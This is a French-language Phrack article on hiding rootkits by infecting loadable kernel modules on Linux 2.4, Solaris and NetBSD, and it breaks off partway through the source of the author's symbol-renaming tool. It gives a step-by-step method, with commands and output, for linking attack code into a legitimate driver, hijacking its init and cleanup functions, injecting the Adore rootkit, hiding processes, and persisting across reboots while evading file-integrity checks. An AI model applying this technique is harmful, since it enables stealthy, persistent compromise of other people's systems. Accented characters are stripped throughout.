                            ==Phrack Inc.==

                Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f

|=----------------=[ Loadable kernel module infection ]=----------------=|
|=----------------------------------------------------------------------=|
|=-------------------=[ truff <truff@projet7.org>  ]=-------------------=|


--[ Contents

1 - Introduction

2 - ELF basis
 2.1 - La section .symtab
 2.2 - La section .strtab

3 - Playing with loadable kernel modules
 3.1 - Chargement de module 
 3.2 - La modification .strtab
 3.3 - Code injection
 3.4 - Reste' furtif

4 - Exemple concret
 4.1 - Infection lkm mini-howto
 4.2 - I will survive (un reboot)

5 - En ce qui concerne les autres systemes ?
 5.1 - Solaris
 5.2 - *BSD
  5.2.1 - FreeBSD
  5.2.2 - NetBSD
  5.2.3 - OpenBSD

6 - Greetings

7 - References

8 - Code 8.1 - ElfStrChange




--[ 1 - Introduction

Depuis quelques annes, de nombreux rootkit utilisant les LKM sont
utiliss. Est ce une mode ? Pas vraiment, les lkm sont trs utiliss parce
qu'ils sont tres puissants : vous pouvez cacher des fichiers, des processus
et faire d'autres choses vraiment cool. Les premiers rootkits utilisant les
lkm pouvaient tre facilement dtct via un simple lsmod.  Nous avons vu
de nombreuses techniques permettant de cacher les modules, comme la
premiere utilise dans l'article de Plaguez's [1], ou la plus ruse
utilise par le rootkit Adore [2].  Quelques annes plus tard, nous avons
vu apparaitre d'autres techniques bases sur la modification de l'image
mmoire du kernel utilisant /dev/kmem [3].  Finallement, une technique de
patch du kernel statique nous a t prsent dans le [4].  Celle ci rsoud
un important probleme: le rootkit sera recharg apres un reboot.

Le but de cet article est de dcrire une nouvelle technique utilise pour
cacher les lkm et qui nous  assure que les lkms seront rechargs apres un
reboot. Nous allons voir comment faire cela, en affectant(infectant ??) un
module kernel utilis par le systme.  Nous allons plus prcisement nous
focaliser sur les kernels Linux x86 2.4.x, mais cette technique peut tre
applique aux autre systemes d'exploitation qui utilise le format ELF(on
parle de kernel ou d'OS la ?). Quelques connaissances sont ncssaires pour
comprendre cette technique. Les modules kernel sont des fichiers objets
ELF, nous allons ainsi tudier le format ELF, et en particulier le nommage
des symboles dans un objet ELF. Apres cela, nous allons tudier les
mcanismes qui sont utiliss pour charger un module , dont on en deduira un
moyen d'injecter du  code dans un module kernel.  Finallement, nous verrons
comment injecter un module dans un autre, dans une situation relle.


--[ 2 - ELF Basis

L'ELF (Executable and Linking Format) dcrit, comme son nom l'indique, un
format de fichiers binaires excutables ou *linkables*. Nous allons
uniquement dcrirela partie de ce format qui nous intresse et qui nous
servira pour la suite. (Ce format est dcrit dans son intgralit dans [1].
) Lorsque nous lions deux objets ELF, l'diteur de lien a besoin de
connaitre certaines donnes indiquant l'ensemble des symboles pour chaque
objet. Chaque objet ELF (les lkm par exemple) contient deux sections dont
le role est de stocker certains types d'informations descrivant chaque
symbole. Nous allons les tudier et voir quelques ides utiles pour
l'infection de module kernel.


----[ 2.1 - La section .symtab

Cette section est une table de structures contenant des donnes ncessaires
  l'diteur de lien  pour utiliser les symboles contenus dans un objet
ELF.  Cette structure est dfinie dans le fichier /usr/include/elf.h:


/* Symbol table entry. */

typedef struct {
	 Elf32_Word st_name; /* Symbol name (string tbl index) */
	 Elf32_Addr st_value; /* Symbol value */
	 Elf32_Word st_size; /* Symbol size */
 	 unsigned char st_info; /* Symbol type and binding */
	 unsigned char st_other; /* Symbol visibility */
	 Elf32_Section st_shndx; /* Section index */ 
}Elf32_Sym;

Le seul champ qui nous interessera plus tard est le champ st_name. Ce champ
ne contient pas directement la chaine repesentant le nom du symbole. Il
contient un index de la section .strtab ou sera stoqu le nom du symbole.


----[ 2.2 - La section .strtab

La section .strtab est une suite de chaines de caractres termines par le
caractre null. Comme nous l'avons vu ci-dessus, le champ st_name de la
structure Elf32_Sym est un index dans la section .strtab, on peut donc
obtenir facilement l'offset de la chaine qui contient le nom du symbole par
la formule suivante:

offset_sym_name = offset_strtab + st_name

offset_strtab est l'offset de la section .strtab depuis le dbut du
fichier. Il est obtenu simplement par un mcanisme de rsolution des noms
de sections que je ne dcrirai pas ici car ceci n'a aucun intrt pour le
sujet trait. Ce mcanisme est dcrit completement dans le [5] et
implment dans le code (paragraphe 9.1)

On peut dduire de ce qui prcde que, le nom d'un symbole dans un objet
ELF est facilement accessible et donc facilement modifiable.  Cependant une
rgle doit tre respecte pour effectuer une telle modification. En effet,
nous avons vu que la section .strtab est une succession de chaines de
caratres termines par le caractre null, ceci implique une restriction
sur le nouveau nom d'un symbole aprs une modification: la longueur du
nouveau nom du symbole devra tre infrieure ou gale  celle du nom
original de manire  ne pas dborder sur le nom du symbole suivant dans la
section .strtab.

Nous allons voir par la suite que la simple modification d'un nom de
symbole va nous permettre, dans un premier temps, de  modifier le
fonctionnement normal d'un module noyau, puis d'infecter un module par un
autre module.


----[ 3 - Playing with loadable kernel modules

Le but de cette section est de prsenter le mcanisme de chargement
dynamique d'un module. De cela, on pourra dduire une technique nous
permettant d'injecter du code dans ce module.

----[ 3.1 - Chargement de Module

Les modules noyau sont chargs via l'utilitaire userland insmod qui figure
dans le package modutils [6]. Dans le fichier insmod.c la fonction
init_module permet de charger le module dans le noyeau.

static int init_module(const char *m_name, struct obj_file *f,
		       unsignedlong m_size, const char *blob_name,
		       unsigned int noload, unsigned int flag_load_map)
{ 
(1)	struct module *module;
	struct obj_section *sec;
	void *image;
	int ret = 0;
	tgt_long m_addr;

....

(2)	 module->init = obj_symbol_final_value(f,
			obj_find_symbol(f, "init_module"));
(3)	 module->cleanup = obj_symbol_final_value(f,
			obj_find_symbol(f, "cleanup_module"));

....

	if (ret == 0 && !noload) {
		 fflush(stdout); /* Flush any debugging output */
(4)		 ret = sys_init_module(m_name, (struct module *) image);
		 if (ret)  {
			 error("init_module: %m");
			 lprintf(
 "Hint: insmod errors can be caused by incorrect module parameters, "
 "including invalid IO or IRQ parameters.\n"
 "You may find more information in syslog or the output from dmesg");
		 }
	 }


Dans la  fonction (1), on va charger une structure module qui va contenir
les informations necessaires au chargement du module. Les champs
intrssants sont init_module et cleanup_module qui sont des pointeurs de
fonction  pointant respectivement sur init_module() et cleanup_module() du
module devant tre charg. La fonction obj_find_module (2) va parcourir la
table des symboles a la recherche de celui dont le nom est init_module. La
mme opration va ensuite tre raalise (3) pour la fonction
cleanup_module(). Il faut bien garder  l'esprit que les fonctions qui
seront appelles a` l'initialision et la terminaison du module sont celles
dont l'entre dans la section .strtab correspond respectivement 
init_module et cleanup_module.

Lorsque la structure module est compltes (4), le syscall
sys_init_module() est appell pour laisser le kernel charger le module.

Ci-dessous se trouve une partie intrrssante de l'appel systeme
sys_init_module() qui est appell durant le chargement du module.  Le code
de cette fonction se trouve dans /usr/src/linux/kernel/module.c

asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
	 struct module mod_tmp, *mod;
	 char *name, *n_name, *name_tmp = NULL;
	 long namelen, n_namelen, i, error;
	 unsigned long mod_user_size;
	struct module_ref *dep;

	/* Lots of sanity checks */
.....
	/* Ok, that's about all the sanity we can stomach; copy the rest.*/

(1) 	if (copy_from_user((char *)mod+mod_user_size,
			   (char*)mod_user+mod_user_size,
			    mod->size-mod_user_size)) {
		 error = -EFAULT;
		 goto err3; }

	/* Other sanity checks */

....

	/* Initialize the module. */
	atomic_set(&mod->uc.usecount,1);
	mod->flags |= MOD_INITIALIZING;
(2)	 if (mod->init && (error = mod->init()) != 0) {
		atomic_set(&mod->uc.usecount,0);
		 mod->flags &= ~MOD_INITIALIZING;
		 if (error > 0) /* Buggy module */
			 error = -EBUSY;
		  goto err0;
		 }
	 atomic_dec(&mod->uc.usecount);

Apres quelques tests visant  vrifier l'intgrit des donnes, on copie la
structure module de l'userland vers le kernelland a` l'aide de la fonction
copy_from_user() (1). Puis (2) la fonction init_module() de notre module va
tre apelle via le pointeur de  fonction mod->init(), initialis par
l'utilitaire insmod.


----[ 3.2 - La modification .strtab

Nous avons vu dans la partie prcdente que l'adresse de la fonction
d'initialisation du module est repre a` l'aide d'une chaine dans la
section .strtab. La modification de cette chaine va nous permettre
d'executer une autre fonction que init_module() lorsque le module est
charg.  Il y a diffrentes manires de modifier une entre de la section
.strtab.  L'option -wrap de ld peut tre utilise, mais cette option n'est
pas compatible avec l'option -r dont nous auront besoin plus tard (dans le
paragraphe 3.3). On peut aussi utiliser xxd, comme montr dans la partie
5.1. J'ai cod un outil (paragraphe 9.1) pour automatiser cette tache.

Ici se trouve un court exemple:

$ cat test.c

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) { 
	printk ("<1> Into init_module()\n");
	return 0;
 }

int evil_module(void) {
	 printk ("<1> Into evil_module()\n");
	 return 0;
 }

int cleanup_module(void) {
	 printk ("<1> Into cleanup_module()\n");
	 return 0;
 }

$ cc -O2 -c test.c

Let's have a look at the .symtab and .strtab sections:

$ objdump -t test.o

test.o: file format elf32-i386

SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000     *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 evil_module
0000000000000028 g F .text 0000000000000014 cleanup_module

Nous allons maintenant modifier deux entres de la section .strtab de
manire  ce que la fonction evil_module prenne le nom init_module.  Pour
raliser cette modification, on doit tout d'abord renommer le symbole
init_module car deux symboles de meme nature ne peuvent pas avoir le mme
nom dans un meme objet ELF. On ralise donc dans l'ordre les deux
modifications suivantes:

1) init_module ----> dumm_module
2) evil_module ----> init_module

$ ./elfstrchange test.o init_module dumm_module
 [+] Symbol init_module located at 0x3dc
 [+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module
 [+] Symbol evil_module located at 0x3ef
 [+] .strtab entry overwriten with init_module

$ objdump -t test.o

test.o: file format elf32-i386

SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 dumm_module
0000000000000000      *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 init_module
0000000000000028 g F .text 0000000000000014 cleanup_module


# insmod test.o tail -n 1 /var/log/kernel
May 4 22:46:55 accelerator kernel: Into evil_module()

Comme nous pouvons le voir, la fonction evil_module a t appele  la
place de la fonction init_module.


----[ 3.3 - Code injection

La technique prcdente permet donc de faire s'excuter une fonction  la
place d'une autre, cependant cela prsente assez peu d'intret en soi. Il
serait prfrable d'injecter du code externe dans le module. Ceci est assez
*simple*  mettre en place, en utilisant le formidable diteur de liens ld.


$ cat original.c

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) {
	 printk ("<1> Into init_module()\n");
	 return 0;
}

int cleanup_module(void) {
	 printk ("<1> Into cleanup_module()\n");
	 return 0;
}

$ cat inject.c

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void) {
	 printk ("<1> Injected\n");
	 return 0;
 }

$ cc -O2 -c original.c $ cc -O2 -c inject.c


Et c'est ici que commencent les choses srieuses. L'injection du code ne va
pas poser de problme puisque les modules noyau sont des objets Elf
relocatables. Ce type d'objet peuvent tre lis entre eux pour partager
leurs symboles et se completer les uns les autres. Une rgle doit cependant
tre respecte : un mme symbole ne peut pas exister dans plusieurs modules
qui vont tre lis entre eux.  Nous allons utiliser l'option -r de
l'diteur de liens ld, de manire  raliser un dition de lien partielle.
Ceci permet de recrer un objet Elf de la mme nature que ceux qui ont
servi  sa construction. Cela va crer un module qui peut tre charg par
le kernel.

$ ld -r original.o inject.o -o evil.o $ mv evil.o original.o $ objdump -t
original.o

original.o: file format elf32-i386

SYMBOL TABLE:
0000000000000000 l d .text 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l df *ABS* 0000000000000000 original.c
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l df *ABS* 0000000000000000 inject.c
0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000014 g F .text 0000000000000014 cleanup_module
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000      *UND* 0000000000000000 printk
0000000000000028 g F .text 0000000000000014 inje_module

La fonction inje_module() a t lie dans le module. Il suffit maintenant
de modifier la section .strtab de manire  faire s'excuter inje_module()
 la place de init_module().


$ ./elfstrchange original.o init_module dumm_module
 [+] Symbol init_module located at 0x4a8
 [+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
 [+] Symbol inje_module located at 0x4bb
 [+] .strtab entry overwriten with init_module


Vrifions maintenant que tout a bien fonctionn.

# insmod original.o tail -n 1 /var/log/kernel
May 14 20:37:02 accelerator kernel: Injected

And the magic occurs.

----[ 3.4 - Restons furtif

La plupart du temps, nous allons infect un module qui sera en utilisation.
Si l'on remplace la fonction init_module() originale par une autre
fonction, le module perd donc sa fonctionnalit originale,  notre profit.
Cependant, si le module infect ne fonctionne pas proprement, il sera
facilement dtect. Mais il y a une solution qui permet d'injecter du code
dans un module sans modifier son comportement normal. Une fois la section
.strtab modifie, la fonction init_module() originale aura pour nom
dumm_module. Si nous insrons un appel a dumm_module() dans notre fonction
evil_module(), la vrai fonction init_module() va tre appelle 
l'initialisation et le module va garder son comportement normal.

remplacez init_module --------> dumm_module
	  inje_module -------> init_module (contient un appel a dumm_module)

$ cat stealth.c 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int inje_module (void) {
	 dumm_module ();
	 printk ("<1> Injected\n");
	 return 0;
 }

$ cc -O2 -c stealth.c $ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o 
$ ./elfstrchange original.o init_module dumm_module
 [+] Symbol init_module located at 0x4c9
 [+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
 [+] Symbol inje_module located at 0x4e8
 [+] .strtab entry overwriten with init_module

# insmod original.o tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel: Into init_module() May 17 14:57:31
accelerator kernel: Injected

Parfait, le code inject est excut  la suite du code rel; ainsi la
modification est cache.



--[ 4 - Exemple concret

La mthode utilise pour modifier init_module dans les parties prcdentes,
peut s'appliquer sans probleme  la fonction cleanup_module. On peut donc
envisager d'injecter un module complet dans un autre module.  J'ai injecter
le clbre rootkit adore dans mon driver son (i810_audio.o) avec une
manipulation assez simple.

----[ 4.1 - infection lkm mini-howto.

1) Il faut tout d'abord,apporter quelques lgres modifications dans le
code de adore.c

* insrer dans le code de init_module(), un appel a dumm_module() insrer
* dans le code de cleanup_module(), un appel a dummcle_module() remplacer
* le nom de la fonction init_module par evil_module remplacer le nom de la
* fonction cleanup_module par evclean_module

2) Compiler adore avec la commande make

3) lier adore avec i810_audio.o

ld -r i810_audio.o adore.o -o evil.o

Si le module est dja charg, vous devez le decharger: rmmod i810_audio

mv evil.o i810_audio.o

4) Apporter les modification a la section .strtab:

remplacez init_module -------> dumm_module
	  evil_module -------> init_module (contient un appel  dumm_module)

	  cleanup_module ---> evclean_module
 	  evclean_module ---> cleanup_module (contient un appel a` evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module
 [+] Symbol init_module located at 0xd012
 [+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module
 [+] Symbol evil_module located at 0xd245
 [+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
 [+] Symbol cleanup_module located at 0xcec4
 [+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module
 [+] Symbol evclean_module located at 0xd15e
 [+] .strtab entry overwriten with cleanup_module


5) Charger le module et le tester:

# insmod i810_audio ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

	 h hide file
	 u unhide file
	 r execute as root
	 R remove PID forever
	 U uninstall adore
	 i make PID invisible
	 v make PID visible

# ps
PID TTY TIME CMD 2004 pts/3 00:00:00 bash 2083 pts/3 00:00:00 ps

# ./ava i 2004
Checking for adore 0.12 or higher ...  Adore 0.42 installed. Good luck.
Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps PID TTY TIME CMD
#

Super!! J'ai cod un petit shell script pour les paresseux (paragraphe 9.2)
qui fait ce travail en grande partie.


----[ 4.2 - I will survive (un reboot)

Lorsque le module est charg, nous avons deux options, qui ont chacune leur
pours et leur contres:

* Remplacer le vrai module se trouvant dans /lib/modules/ par le notre
  qui est infect. Cela nous assura que le code de notre backdoor sera
  recharg apres un reboot. Toutefois, si nous faisons cela, nous pouvons
  tre detect par un HIDS (Host Intrusion Detection System) comme Tripwire
  [7]. Cependant, comme un module kernel n'est ni un executable, ni un
  fichier suid,il ne sera pas dtect que si l'HIDS est configur sur
  paranoid.

* Laissons le vrai module kernel inchang dans /lib/modules et
  supprimons notre module infect. Notre module sera enlev lors du reboot,
  mais il ne sera pas dtect par un HIDS qui vrifie les fichiers modifis.


--[ 5 - En ce qui concerne les autres systemes ?

----[ 5.1 - Solaris

J'ai utilis un module kernel basic provenant du [8] pour illustrer cet
exemple.  Les modules kernel Solaris utilisent 3 fonctions principals:
- _init sera appell a l'initialisation du module
- _fini sera appell au module cleanup
- _info imprime des infos concernant le module

$ uname -srp SunOS 5.7 sparc

$ cat mod.c

#include <sys/ddi.h>
#include <sys/sunddi.h> 
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
	 &mod_miscops,
	 "Real Loadable Kernel Module",
 };

static struct modlinkage modlinkage = {
	 MODREV_1,
	 (void *)&modlmisc,
	 NULL
};

int _init(void) {
	 int i;
	 if ((i = mod_install(&modlinkage)) != 0)
		cmn_err(CE_NOTE,"Could not install module\n");
	 else
		 cmn_err(CE_NOTE,"mod: successfully installed");
	 return i;
 }

int _info(struct modinfo *modinfop) {
	 return (mod_info(&modlinkage, modinfop));
 }

int _fini(void) {
	 int i;
	 if ((i = mod_remove(&modlinkage)) != 0)
		cmn_err(CE_NOTE,"Could not remove module\n");
	 else
		 cmn_err(CE_NOTE,"mod: successfully removed");
	 return i;
 }


$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c $ ld -r -o mod mod.o 
$ file mod
mod: ELF 64-bit MSB relocatable SPARCV9 Version 1

Comme nous l'avons vu dans le cas de linux, le code que nous injectons doit
contenir un appel a la fonction init relle, pour que le module garde son
comportement rgulier. Cependant, nous devons faire face a un probleme: Si
nous modifions la section .strtab aprs l'operation de lien, le chargeur
dynamique ne trouvera pas la fonction _dumm() et le module ne pourra pas
tre charg. Je n'ai pas appronfi la question, mais je pense que le
chargeur dynamique sur solaris ne cherchent pas les rfrences aux
undefined symbols dans le module lui-mme . Cependant, ce probleme peut
facilement tre rsolu. Si nous changeons la vrai entre _init .strab pour
_dumm avant l'operation de lien, tout fonctionnera proprement.

$ readelf -S mod
 There are 10 section headers, starting at offset 0x940:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         0000000000000000  00000040
       0000000000000188  0000000000000000  AX       0     0     4
  [ 2] .rodata           PROGBITS         0000000000000000  000001c8
       000000000000009b  0000000000000000   A       0     0     8
  [ 3] .data             PROGBITS         0000000000000000  00000268
       0000000000000050  0000000000000000  WA       0     0     8
  [ 4] .symtab           SYMTAB           0000000000000000  000002b8
       0000000000000210  0000000000000018           5     e     8
  [ 5] .strtab           STRTAB           0000000000000000  000004c8
       0000000000000065  0000000000000000           0     0     1
  [ 6] .comment          PROGBITS         0000000000000000  0000052d
       0000000000000035  0000000000000000           0     0     1
  [ 7] .shstrtab         STRTAB           0000000000000000  00000562
       000000000000004e  0000000000000000           0     0     1
  [ 8] .rela.text        RELA             0000000000000000  000005b0
       0000000000000348  0000000000000018           4     1     8
  [ 9] .rela.data        RELA             0000000000000000  000008f8
       0000000000000048  0000000000000018           4     3     8
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)


La section .strtab dbute a l'offset 0x4c8 et a une taille de 64 octets.
Nous allons utiliser vi et xxd comme diteur hexa. Chargez le module dans
vi avec: vi mod. Apres cela, utilisez :%!xxd pour convertir le module en
une valeur hexa. Vous devriez voir quelques chose comme sa:

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^
Nous modifions 4 octets pour remplacer _init par _dumm

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^
On utilsie :%!xxd -r pour retrouver le module de la valeur hexa, ensuite on
sauvegarde et on quittte :wq . Apres cela, nous pouvons vrifier que le
remplacement s'est bien droul.

$ objdump -t mod

mod: file format elf64-sparc

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 mod
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .rodata        0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .comment       0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 mod.c
0000000000000010 l     O .data  0000000000000040 modlinkage
0000000000000000 l     O .data  0000000000000010 modlmisc
0000000000000000         *UND*  0000000000000000 mod_miscops
00000000000000a4 g     F .text  0000000000000040 _info
0000000000000000         *UND*  0000000000000000 mod_install
0000000000000000 g     F .text  0000000000000188 _dumm
0000000000000000         *UND*  0000000000000000 mod_info
0000000000000000         *UND*  0000000000000000 mod_remove
00000000000000e4 g     F .text  0000000000000188 _fini
0000000000000000         *UND*  0000000000000000 cmn_err

Le symbole _init a t  remplac par _dumm. Maintenant nous pouvons
directement injecter une fonction dont le nom est _init sans aucun
probleme.

$ cat evil.c
int _init(void)
{
        _dumm ();
        cmn_err(1,"evil: successfully installed");
        return 0;
}
            
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o

The injecting part using ld:

$ ld -r -o evil mod inject

Load the module:

# modload evil tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed Jul 15
10:58:33 luna unix: NOTICE: evil: successfully installed

La meme opration peut tre effectue pour la fonction _fini pour injecter
un module complet dans un autre.


----[ 5.2 - *BSD

------[ 5.2.1 - FreeBSD

% uname -srm
FreeBSD 4.8-STABLE i386


% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped

Comme nous pouvons le voir, les modules kernel de FreeBSD sont des objets
partags. De ce fait, nous ne pouvons utiliser ld pour linker du code dans
le module. En outre, le mecanisme qui est utilis pour charger un module
est completement diffrent de celui utiliss par les systemes Linux et
Solaris.Vous pouvez en avoir un apercu dans:
/usr/src/sys/kern/kern_linker.c . N'importe quel nom peut etre utilis pour
la fonction init/cleanup. A l'initialisation, le loader trouve l'adresse de
la fonction init dans une structure stocke dans la section .data. Ensuite,
la modification de .strtab peut galement tre utilise.

------[ 5.2.2 - NetBSD

$ file nvidia.o nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version
1 (SYSV), not stripped

Nous pouvons injecter le code dans un module kernel NetBSD parce que c'est
un object ELF relocatable. Lorsque modload charge un module kernel, il le
lie avec le kernel et execute le code plac au point d'entre du module
(log dans l'header ELF).  Apres l'operation de liage, nous pouvons chang
le point d'entre, mais ce n'est pas ncssaire parce que modload a une
option spcial (-e) qui permet de lui indiquer quel symbole  utiliser comme
point d'entre.

Ici se trouve le module d'exemple que nous allons infecter:

$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

MOD_MISC("gentil");

int	gentil_lkmentry(struct lkm_table *, int, int);
int	gentil_lkmload(struct lkm_table *, int);
int	gentil_lkmunload(struct lkm_table *, int);
int	gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
	DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
	    gentil_lkmstat);
}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: Hello, world!\n");
	return (0);
}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: Goodbye, world!\n");
	return (0);
}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: How you doin', world?\n");
	return (0);
}

Ici se trouve le code qui sera inject:

$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int	gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
	switch(cmd) {
	case LKM_E_LOAD:
		printf("evil: in place\n");
		break;
	case LKM_E_UNLOAD:
		printf("evil: i'll be back!\n");
		break;
	case LKM_E_STAT:
		printf("evil: report in progress\n");
		break;
	default:
		printf("edit: unknown command\n");
		break;
	}

	return gentil_lkmentry(lkmt, cmd, ver);
}

  After compiling gentil and evil we link them together:
  
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat 
Type    Id   Offset Loadaddr Size Info     Rev Module Name
DEV       0  -1/108 d3ed3000 0004 d3ed3440   1 mmr
DEV       1  -1/180 d3fa6000 03e0 d4090100   1 nvidia
MISC      2       0 e45b9000 0004 e45b9254   1 gentil

# modunload -n gentil

# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!

Ok, tout marche comme un charme.

------[ 5.2.3 - OpenBSD

OpenBSD n'utilise pas le format ELF sur les architecture x86, ainsi la
technique prcdente ne peut tre utilise. Je n'ai pas test sur des
plateformes utilisant ELF mais je pense que cela s'apparenterait  NetBSD,
ainsi la technique peut certainement tre applique. Merci de m'indiquer
si vous reussissez  xcuter la technique prsente sur "OpenBSD ELF".

--[ 6 - Conclusion

Cet article a augment le nombre de techniques qui permettent de dissimuler
du code dans le kernel. J'ai prsent cette technique parce qu'il me semble
intressant de pouvoir dissimuler du code  avec tres peu de manipulations.
Amusez vous bien lorsque vous l'utiliserez.

--[ 7 - Greetings

Je voulais remercier mycroft, OUAH, aki et afrique pour leur commentaires
et leurs ides. Un gros merci a klem pour m'avoir apprit le reverse
engineering.  Merci a FXKennedy pour m'avoir aid avec NetBSD.  Un gros
bisous a Carla car elle est merveilleuse. Merci aux gens de #root, spud
hotfyre, funka, jaia, climax, redoktober ...

--[ 8 - References


  [1] Weakening the Linux Kernel by Plaguez
      http://www.phrack.org/show.php?p=52&a=18
    
  [2] The Adore rootkit by stealth
      http://stealth.7350.org/rootkits/

  [3] Runtime kernel kmem patching by Silvio Cesare
      http://vx.netlux.org/lib/vsc07.html
    
  [4] Static Kernel Patching by jbtzhm
      http://www.phrack.org/show.php?p=60&a=8

  [5] Tool interface specification on ELF 
      http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf

  [6] Modutils for 2.4.x kernels 
      ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4

  [7] Tripwire
      http://www.tripwire.org
    
  [8] Solaris Loadable Kernel Modules by Plasmoid
      http://www.thc.org/papers/slkm-1.0.html
      
    

--[ 9 - Codes

----[ 9.1 - ElfStrChange

/*
 * elfstrchange.c by truff <truff@projet7.org>
 * Change the value of a symbol name in the .strtab section
 *
 * Usage: elfstrchange elf_object sym_name sym_name_replaced
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
                       Elf32_Shdr *shstrtable, char *res, size_t len);
                       
